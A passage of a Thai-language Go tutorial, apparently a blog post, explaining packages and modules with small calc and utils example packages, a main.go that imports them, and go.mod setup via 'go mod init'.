id="package-%E0%B9%81%E0%B8%A5%E0%B8%B0-module-%E0%B9%81%E0%B8%95%E0%B9%88%E0%B8%A5%E0%B8%B0%E0%B9%81%E0%B8%9C%E0%B8%99%E0%B8%81%E0%B8%A1%E0%B8%B5%E0%B8%AB%E0%B8%99%E0%B9%89%E0%B8%B2%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B9%80%E0%B8%89%E0%B8%9E%E0%B8%B2%E0%B8%B0-%E0%B9%81%E0%B8%A5%E0%B8%B0-project-%E0%B9%83%E0%B8%AB%E0%B8%8D%E0%B9%88%E0%B8%97%E0%B8%B3%E0%B9%82%E0%B8%94%E0%B8%A2%E0%B8%AB%E0%B8%A5%E0%B8%B2%E0%B8%A2%E0%B9%81%E0%B8%9C%E0%B8%99%E0%B8%81"><strong><strong>Package &#xE41;&#xE25;&#xE30; Module : &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE41;&#xE1C;&#xE19;&#xE01;&#xE21;&#xE35;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE41;&#xE25;&#xE30;</strong> Project <strong>&#xE43;&#xE2B;&#xE0D;&#xE48;</strong>&#xE17;&#xE33;&#xE42;&#xE14;&#xE22;<strong>&#xE2B;&#xE25;&#xE32;&#xE22;&#xE41;&#xE1C;&#xE19;&#xE01;</strong></strong></h2><p>Package &#xE41;&#xE25;&#xE30; Module &#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE08;&#xE31;&#xE14;&#xE23;&#xE30;&#xE40;&#xE1A;&#xE35;&#xE22;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE1B;&#xE31;&#xE19; Code</p><p>&#xE42;&#xE14;&#xE22; <strong>Package</strong> &#xE04;&#xE37;&#xE2D; &quot;<strong>&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE02;&#xE2D;&#xE07; File Go &#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Folder &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&quot; </strong>&#xE41;&#xE25;&#xE30; &quot;<strong>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&quot; </strong>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; File &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE0A;&#xE37;&#xE48;&#xE2D; Package &#xE44;&#xE27;&#xE49;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE21;&#xE31;&#xE19; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function (Add) &#xE42;&#xE14;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D; Package (calc) &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE43;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE2D;&#xE07; File (calculator.go) &#xE44;&#xE14;&#xE49;</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; calc/calculator.go
package calc

func Add(a, b int) int {
    return a + b
}

// &#xE44;&#xE1F;&#xE25;&#xE4C; main.go
package main

import (
    &quot;fmt&quot;
    &quot;myproject/calc&quot;
)

func main() {
    result := calc.Add(5, 3)
    fmt.Println(&quot;5 + 3 =&quot;, result)
}</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Package &quot;calc&quot; &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19; Folder &quot;myproject&quot; &#xE42;&#xE14;&#xE22;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Folder &#xE41;&#xE25;&#xE30; File &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; calc/
&#x2502;   &#x2514;&#x2500;&#x2500; calculator.go
&#x2514;&#x2500;&#x2500; main.go</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; myproject &#xE40;&#xE1B;&#xE47;&#xE19; Folder &#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Project &#xE41;&#xE25;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder &#xE22;&#xE48;&#xE2D;&#xE22; calc &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Package &quot;calc&quot;</p><p>Go &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE0A;&#xE37;&#xE48;&#xE2D; Folder &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE49;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32; Import <strong>&#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Folder &#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE0A;&#xE37;&#xE48;&#xE2D; Package </strong>&#xE41;&#xE15;&#xE48;&#xE42;&#xE14;&#xE22;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B;&#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Folder &#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE0A;&#xE37;&#xE48;&#xE2D; Package &#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Code &#xE2D;&#xE48;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p>&#xE43;&#xE19; Folder &#xE22;&#xE48;&#xE2D;&#xE22; calc &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &quot;calculator.go&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Function &quot;Add&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE19; File &#xA0;&quot;calculator.go&quot; &#xE08;&#xE30;&#xE21;&#xE35;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; calc/calculator.go
package calc

func Add(a, b int) int {
    return a + b
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE27;&#xE48;&#xE32; Code &#xE19;&#xE35;&#xE49;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE0A;&#xE37;&#xE48;&#xE2D; &quot;calc&quot; &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>package calc</code> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE19; Folder &quot;calc&quot; &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE21;&#xE35; File &#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE22; File &#xE41;&#xE15;&#xE48; <strong>&#xE17;&#xE38;&#xE01; File &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE0A;&#xE37;&#xE48;&#xE2D; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;</strong></p><p>Function &quot;Add&quot; &#xE15;&#xE49;&#xE2D;&#xE07; <strong>&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE43;&#xE2B;&#xE0D;&#xE48;</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Export &#xE44;&#xE14;&#xE49; &#xE2A;&#xE48;&#xE27;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D; Function &#xE17;&#xE35;&#xE48;&#xE02;&#xE36;&#xE49;&#xE19;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE31;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE40;&#xE25;&#xE47;&#xE01;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Package &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19;</p><p>&#xE43;&#xE19; Folder &quot;myproject&quot; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &quot;main.go&quot; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; main.go
package main

import (
    &quot;fmt&quot;
    &quot;myproject/calc&quot;
)

func main() {
    result := calc.Add(5, 3)
    fmt.Println(&quot;5 + 3 =&quot;, result)
}</code></pre><p>&#xE43;&#xE19; Go &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE27;&#xE48;&#xE32; Code &#xE2A;&#xE48;&#xE27;&#xE19;&#xE19;&#xE35;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; Package &#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Program &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &#xE41;&#xE1A;&#xE1A; Executable &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>package main</code></p><p><code>package main</code> &#xE43;&#xE19; file <code>main.go</code> &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE44;&#xE14;&#xE49; &#xE16;&#xE49;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49; Program &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Program &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32; Build Program</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32; Build Program &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go build</strong> &#xE41;&#xE25;&#xE49;&#xE27; Go Compiler &#xE08;&#xE30;&#xE21;&#xE2D;&#xE07;&#xE2B;&#xE32; <code>package main</code> &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; <code>func main()</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE08;&#xE38;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07; Program &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; <code>func main()</code> &#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; <code>package main</code> &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; <strong>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Build Program</strong></p><p><code>import</code> &#xE04;&#xE37;&#xE2D; &#xE2A;&#xE48;&#xE27;&#xE19;&#xE19;&#xE33;&#xE40;&#xE02;&#xE49;&#xE32; Package &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; &#xE0B;&#xE36;&#xE48;&#xE07; main.go &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;fmt&quot; &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Package &#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Input/Output &#xE41;&#xE25;&#xE30; Package &quot;calc&quot; &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;</p><pre><code>import (
    &quot;fmt&quot;
    &quot;myproject/calc&quot;
)</code></pre><p>&#xE43;&#xE19; <code>func main()</code> &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; Function &quot;Add&quot; &#xE08;&#xE32;&#xE01; Package &quot;calc&quot; &#xE41;&#xE25;&#xE30; Function Println &#xE08;&#xE32;&#xE01; Package &quot;fmt&quot; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;</p><pre><code>func main() {
    result := calc.Add(5, 3)
    fmt.Println(&quot;5 + 3 =&quot;, result)
}</code></pre><p><strong>Module &#xE04;&#xE37;&#xE2D; &#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE02;&#xE2D;&#xE07; Package &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;</strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30;&#xE16;&#xE39;&#xE01;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Version &#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Package &#xE43;&#xE2B;&#xE21;&#xE48;&#xE0A;&#xE37;&#xE48;&#xE2D; &quot;<strong>utils</strong>&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Function &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE33;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22; &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>1. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder &#xE43;&#xE2B;&#xE21;&#xE48;&#xE0A;&#xE37;&#xE48;&#xE2D; &quot;utils&quot; &#xE40;&#xE1B;&#xE47;&#xE19; Folder &#xE22;&#xE48;&#xE2D;&#xE22;&#xE43;&#xE19; myproject</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; calc/
&#x2502;   &#x2514;&#x2500;&#x2500; calculator.go
&#x251C;&#x2500;&#x2500; utils/
&#x2502;   &#x2514;&#x2500;&#x2500; converter.go
&#x2514;&#x2500;&#x2500; main.go</code></pre><p>2. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File <code>converter.go</code> &#xE43;&#xE19; Folder <code>utils</code></p><pre><code>// utils/converter.go
package utils

func NumberToThai(num int) string {
    thaiNumbers := []string{&quot;&#xE28;&#xE39;&#xE19;&#xE22;&#xE4C;&quot;, &quot;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&quot;, &quot;&#xE2A;&#xE2D;&#xE07;&quot;, &quot;&#xE2A;&#xE32;&#xE21;&quot;, &quot;&#xE2A;&#xE35;&#xE48;&quot;, &quot;&#xE2B;&#xE49;&#xE32;&quot;, &quot;&#xE2B;&#xE01;&quot;, &quot;&#xE40;&#xE08;&#xE47;&#xE14;&quot;, &quot;&#xE41;&#xE1B;&#xE14;&quot;, &quot;&#xE40;&#xE01;&#xE49;&#xE32;&quot;}
    if num &gt;= 0 &amp;&amp; num &lt;= 9 {
        return thaiNumbers[num]
    }
    return &quot;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE44;&#xE14;&#xE49;&quot;
}</code></pre><p>3. &#xE41;&#xE01;&#xE49;&#xE44;&#xE02; File <code>main.go</code> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &#xE43;&#xE2B;&#xE21;&#xE48;</p><pre><code>// &#xE44;&#xE1F;&#xE25;&#xE4C; main.go
package main

import (
    &quot;fmt&quot;
    &quot;myproject/calc&quot;
    &quot;myproject/utils&quot;
)

func main() {
    result := calc.Add(5, 3)
    fmt.Println(&quot;5 + 3 =&quot;, result)

    thaiNumber := utils.NumberToThai(result)
    fmt.Println(&quot;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;:&quot;, thaiNumber)
}</code></pre><p>&#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49; <strong>&#xE0A;&#xE37;&#xE48;&#xE2D; Module</strong> &#xE04;&#xE37;&#xE2D; <strong>myproject </strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE04;&#xE37;&#xE2D;&#xE0A;&#xE37;&#xE48;&#xE2D; Project &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Module &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE43;&#xE19; Folder &quot;myproject&quot; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go mod init</strong></p><pre><code>go mod init myproject</code></pre><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go mod init</strong> &#xE41;&#xE25;&#xE49;&#xE27; Go &#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE43;&#xE19; Folder &quot;myproject&quot;</p><pre><code>.
&#x251C;&#x2500;&#x2500; go.mod
&#x251C;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; calc
&#x2502;   &#x2514;&#x2500;&#x2500; calculator.go
&#x251C;&#x2500;&#x2500; myproject
&#x2514;&#x2500;&#x2500; utils
    &#x2514;&#x2500;&#x2500; converter.go</code></pre><p>&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE43;&#xE19; Folder &quot;myproject&quot; &#xE21;&#xE35;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-code-card"><pre><code>module myproject

go 1.23.3</code></pre><figcaption>go.mod</figcaption></figure><p>&#xE01;&#xE32;&#xE23;&#xE21;&#xE35; Module &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23; &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Dependency &#xE41;&#xE25;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23; Import Package &#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Project &#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1B;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE44;&#xE1B;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE41;&#xE1A;&#xE1A; <strong><a href="https://blog.pjjop.org/p/2911d585-fd12-44bd-888c-ec9069d3e47b/?fbclid=IwY2xjawHVoB1leHRuA2FlbQIxMQABHQxuHjwxzG-31CZQFAoUBu-8-T1C7ExFJjoKvcQTo_S0mR4Nsln3V9nnPg_aem_pk5lJA9VOCvqc1-fgCuhfA">12-Factor App</a></strong> &#xE02;&#xE49;&#xE2D;&#xE17;&#xE35;&#xE48; 2 Dependency</p><p>&#xE41;&#xE25;&#xE30;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30; Import Module &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE0A;&#xE37;&#xE48;&#xE2D; Project &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE44;&#xE27;&#xE49;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>go mod init myproject</code> &#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>import (
    &quot;myproject/calc&quot;
    &quot;myproject/utils&quot;
)</code></pre><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; go.mod &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Build Program &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <strong>go build</strong> &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2A;&#xE31;&#xE49;&#xE19; &#xE46; &#xE44;&#xE14;&#xE49; &#xE0B;&#xE36;&#xE48;&#xE07; <strong>go build </strong>&#xE08;&#xE30; Compile Code &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; Executable &#xE0A;&#xE37;&#xE48;&#xE2D; &quot;myproject&quot; &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE31;&#xE19;&#xE1A;&#xE19; macOS &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; &#xA0;./myproject &#xE15;&#xE32;&#xE21;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-29-at-12.17.35-PM.png" class="kg-image" alt loading="lazy" width="1798" height="340" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-29-at-12.17.35-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-29-at-12.17.35-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-29-at-12.17.35-PM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-29-at-12.17.35-PM.png 1798w" sizes="(min-width: 720px) 720px"></figure><p>Go &#xE21;&#xE35; <a href="https://pkg.go.dev/std?ref=blog.pjjop.org">Standard Library</a> 